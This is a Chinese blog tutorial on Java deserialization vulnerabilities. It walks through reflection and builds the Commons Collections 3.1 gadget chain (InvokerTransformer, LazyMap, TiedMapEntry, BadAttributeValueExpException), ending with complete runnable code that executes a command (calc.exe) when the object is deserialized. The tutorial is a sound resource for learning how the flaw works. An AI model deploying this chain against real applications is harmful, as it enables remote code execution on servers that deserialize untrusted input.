IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> 从零开始的JAVA反序列化漏洞学习(一) -> 正文阅读

[Java知识库]从零开始的JAVA反序列化漏洞学习(一)

前言:

大概是决定复现JAVA的CVE,第一个拿cve-2016-4437试试,但是之前没接触过JAVA,在历经磨难安装好IDEA maven和依赖环境,跟着各位师傅的教程调试源代码发现大佬们的教程都是跟到 可以控制传入readObject()的反序列化就没了,再细查便是什么CC4,CC3.1之类看上去很深奥的东西。深感基础不足,从头开始学JAVA的各种机制,如有错误疏漏不足欢迎在评论中指出。

利用Java反射执行代码

Java的反序列化是离不开Java的反射机制的,反射机制离不开Object类和Class类,关于反射已经有很多大佬写过详解,这里只用两个例子来说明如何利用Java反射来执行代码
第一个,经典弹计算器

public class Hello {
    public static void main(String[] args) throws Exception {
        Hello helloTest = new Hello();
        helloTest.oneTest();
    }
    public void oneTest() throws Exception{
        Object runtime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);

        Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(runtime,"calc.exe");
    }
}

首先是几个关键的方法
Class.forName()方法
Class.forName是一个静态方法,可以用来加载类。该方法有两种形式:Class.forName(String name, boolean initialize, ClassLoader loader)Class.forName(String className),参数String className为所需的类名,方法返回一个与给定的字符串名称相关联类或接口的Class对象。

getMethod()方法与invoke方法:一般同时使用
Method getMethod(String name,Class...parameterTypes),参数String name表示mothod的名称,Class parameterTypes表示method的参数类型的列表(参数顺序需按声明method时的参数列表排列),符合method名称和参数的method对象
Object invoke(Object obj,Object...args),调用包装在当前Method对象中的方法,参数Object obj表示实例化后的对象,Object args表示方法调用的参数

再来分析例子中的第一部分代码:

Object runtime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);

相当于调用了 Runtime类中的getRuntime方法并赋值给runtime,我们查看一下getRuntime方法的代码:

public class Runtime {
    private static Runtime currentRuntime = new Runtime();
    public static Runtime getRuntime() {
        return currentRuntime;
    }
}

因为是static方法,不依附于任何对象,所以在用.invoke()调用时可以没有 参数Object obj,返回的一个new Runtime对象。

再看第二部分

Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(runtime,"calc.exe");

相当于调用了 runtime.exec(“calc.exe”),因为exec()方法不是static,所以invoke()方法需要一个Object obj参数,也就是第一部分返回的runtime。(PS. 个人觉得Java的反射机制有点模糊了 数据和程序 的边界,可以通过用户输入的字符串来调用没有预期的函数执行恶意命令。)

Transformer常见的恶意代码包装类

利用Transformer,我们可以构造一条可序列化的恶意的代码链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Hello {
    public static void main(String[] args) throws Exception {
        TransformerTest test = new TransformerTest();
        test.runTest();
    }
}

class TransformerTest {
    public void runTest(){
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        //ChainedTransformer transformerChain也可以是Transformer transformerChain
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
		//引爆点
        transformerChain.transform(null);        

        try {
            //serialize test
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(out);
            objOut.writeObject(transformerChain);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

先是一个transformer数组里面添加了ConstantTransformerInvokerTransformer,之后用该数组为参数构造一个ChainedTransformer transformerChain对象(这里也可以是Transformer transformerChain对象,ChainedTransformerimplements了Transformer),调用它的transform()方法
下断点调试下,可以看到ChainedTransformer的构造方法和transform()方法的代码为

	public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
 
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

也就是transform()会依次调用transformer数组中transformertransform()方法
继续调试,第一个是ConstantTransformertransform()

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
	//iConstant = class java.lang.Runtime
    public Object transform(Object input) {
        return this.iConstant;
    }

返回了class java.lang.Runtime,再进入InvokerTransformertransform()

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    
    public Object transform(Object input) {
    	//input:class java.lang.Runtime
        if (input == null) {
            return null;
        } else {
            try {
                //iMethodName:getMethod
                //iParamTypes:Class[]{String.class,Class[].class}
                //iArgs:Object[]{"getRuntime", new Class[0]}
                Class cls = input.getClass();
                //调用getMethod来获取getMethod
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
				//调用invoke来执行getMethod来获取getRuntime方法
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

用上面的反射基础知识可以知道,调用了RuntimegetMethod()方法(用一个与Runtime相关联的class对象来调用的),来查找getRuntime()方法,返回一个public static java.lang.Runtime java.lang.Runtime.getRuntime(),(挺绕的,用getMethod来获取getMethod,再用invoke来执行getMethod来获取getRuntime
也就是InvokerTransformer类的transform()方法将会以InvokerTransformer(方法名称, 参数类型,方法参数)的形式调用方法,而方法所在的类或对象则是由链条上一步来返回的。

同理下面将执行invoke()来获取Runtime对象,然后执行exec(“calc.exe”),整体相当于

 public static void main(String[] args) throws IOException {
      Runtime.getRuntime().exec("calc.exe");
  }

我们得到了一条可以执行恶意代码可以被序列化的ChainedTransformer transformerChain,但是我们如何能够让它能够在正常代码中执行它的transformerChain.transform(null) 方法来执行呢?

重写后的readObject如何被执行

(这是我个人不整明白不舒服的疑问,只粗略写了调试过程,不感兴趣的话可以略过)
首先我们要了解为什么在重写readObject()方法后,在反序列化时会调用重写后的方法而不是原方法,来看一个例子

import java.io.*;

public class Test {
    public static void main(String[] args) throws Exception {
        SerializeTest serializeTest = new SerializeTest();

        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("temp"));
            oos.writeObject(serializeTest);
            oos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        
        try {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("temp"));
            Object p = ois.readObject();
//            p.show();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

}

class SerializeTest implements Serializable {
    String str = "hello";

    public void show(){
        System.out.println(str);
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        System.out.println("readObject run");
    }
}

Object p = ois.readObject();可以看见,它被反序列化为了Object对象而不是SerializeTest的,为什么它可以找到重写后的readObject呢?

下断点然后可以看到调用栈
在这里插入图片描述
首先通过下图的调用来读取序列化串来获取类名在这里插入图片描述
接下来是如何调用重写后的readObject(),先是调用ObjectInputStream的readObject()方法
在这里插入图片描述
在这里插入图片描述
之后进入readObject0(),在方法内调用readSerialData(obj, desc);然后跟入 slotDesc.invokeReadObject(obj, this);-> readObjectMethod.invoke(obj, new Object[]{ in });

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
到达invoke()后就是我们上面提到的用反射来调用方法,执行了我们重写的readObject()方法

重写readObject方法导致的疏漏

例如在Java的代码中存在一个对象BadAttributeValueExpException,它重写了它的readObject()

  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
      ObjectInputStream.GetField gf = ois.readFields();
      Object valObj = gf.get("val", null);

      if (valObj == null) {
          val = null;
      } else if (valObj instanceof String) {
          val= valObj;
      } else if (System.getSecurityManager() == null
              || valObj instanceof Long
              || valObj instanceof Integer
              || valObj instanceof Float
              || valObj instanceof Double
              || valObj instanceof Byte
              || valObj instanceof Short
              || valObj instanceof Boolean) {
          val = valObj.toString();
      } else { // the serialized object is from a version without JDK-8019292 fix
          val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
      }
  }

可以看到存在一个toString()方法,我们还要找到一条链可以从toString()调用到transformerChain.transform(null)

我们将采用Commons-collections 3.1提供的类LazyMapTiedMapEntry
首先是LazyMap:存在LazyMap.decorate(),正常用法如下:

Map names = new HashMap();
Map lazyNames = LazyMap.decorate(names, transformer);
//将Map和transformer传递给lazymap
String name = (String) lazyNames.get("someName");
//调用LazyMap里面的get()方法,但当没有这个key时会调用transform方法得到value,返回get
System.out.println("name: "+name);

当我们尝试获取一个不存在的键值时,它会运行在LazyMap.decorate(names, transformer);中传入的transformer(有种PHP中的魔法方法的感觉),添加到我们的代码中测试一下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Hello {
    public static void main(String[] args) throws Exception {
        TransformerTest test = new TransformerTest();
        test.runTest();
    }

}


class TransformerTest {
    public void runTest() {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

//        transformerChain.transform(null);
        Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
        System.out.println(targetMap.get("anything"));
    }
}


成功调用计算器

现在我们的目标便是从toString()调用到Map对象的get方法,需要使用TiedMapEntry再次包装
TiedMapEntry:该类主要的作用是将一个Map 绑定到 Map.Entry 下,形成一个映射

 public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
      private final Map map;
      private final Object key;

      public TiedMapEntry(Map map, Object key) {
          super();
          this.map = map;
          this.key = key;
      }
      public Object getValue() {
          return map.get(key);
      }
      public String toString() {
          return getKey() + "=" + getValue();
      }
  }

可以看到其中的getValue()实际上调用的便是map.get(key),所以我们可以构造如下代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;

public class Hello {
    public static void main(String[] args) throws Exception {
        TransformerTest test = new TransformerTest();
        test.runTest();
    }

}


class TransformerTest {
    public void runTest() {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

//        transformerChain.transform(null);
        Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
//        System.out.println(targetMap.get("anything"));

        TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
        entry.toString();

    }
}

成功调用
我们来构造整个调用链

public Object getObject() {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

//        transformerChain.transform(null);
        Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
//        System.out.println(targetMap.get("anything"));

        TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
//        entry.toString();

//        BadAttributeValueExpException val = new BadAttributeValueExpException(entry);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        //利用反射的方式来向对象传参
        Field valfield = null;
        try {
            valfield = val.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(val, entry);

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return val;
    }

为什么要用反射给BadAttributeValueExpException中的val赋值呢?因为在其的构造函数中存在
在这里插入图片描述也就是如果直接传入会直接在初始化的时候就执行了val.toString()引爆我们的攻击链,攻击本机一次(hhhhh)

完整测试代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Hello {
    public static void main(String[] args) throws Exception {
        TransformerTest test = new TransformerTest();
        
        //序列化
        byte[] serializeByte = test.serialize(test.getObject());

        //反序列化
        test.deserialize(serializeByte);
    }

}


class TransformerTest {
    public Object getObject() {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

//        transformerChain.transform(null);
        Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
//        System.out.println(targetMap.get("anything"));

        TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
//        entry.toString();

//        BadAttributeValueExpException val = new BadAttributeValueExpException(entry);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        //利用反射的方式来向对象传参
        Field valfield = null;
        try {
            valfield = val.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(val, entry);

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return val;
    }

    public  byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public  Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

参考

Java反序列化漏洞的原理分析
Java 反序列化过程深究

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2021-12-05 11:54:42  更:2021-12-05 11:55:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 3:49:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码